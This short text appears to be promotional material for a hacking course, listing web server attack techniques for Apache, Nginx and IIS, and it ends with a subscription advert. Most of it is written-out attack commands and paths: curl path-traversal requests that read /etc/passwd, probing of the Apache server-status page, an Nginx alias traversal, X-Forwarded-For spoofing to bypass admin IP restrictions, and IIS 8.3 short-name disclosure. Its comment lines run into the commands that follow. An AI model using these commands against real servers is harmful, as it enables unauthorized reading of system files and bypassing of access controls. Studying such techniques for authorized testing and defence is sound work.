Web servers are the front door of the internet. Apache, Nginx, and IIS run 95%+ of all websites.
curl -s "http://target/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
# Reads /etc/passwd by traversing directories!curl http://target/server-status
# Reveals active connections, IPs, URLs being accessed# If configured as:
location /files {
alias /data/files/;
}
# Access: /files../etc/passwd
# Reads files outside intended directory!curl -H "X-Forwarded-For: 127.0.0.1" http://target/admin
# Bypass IP whitelist restrictions# IIS reveals 8.3 filename format
http://target/secret~1.txt # Exposes "secret_document.txt"Subscribe to ONLY4YOU and get hands-on access to 40+ premium courses — Ethical Hacking, Kali Linux, Metasploit, Network Hacking, Bug Bounty & more!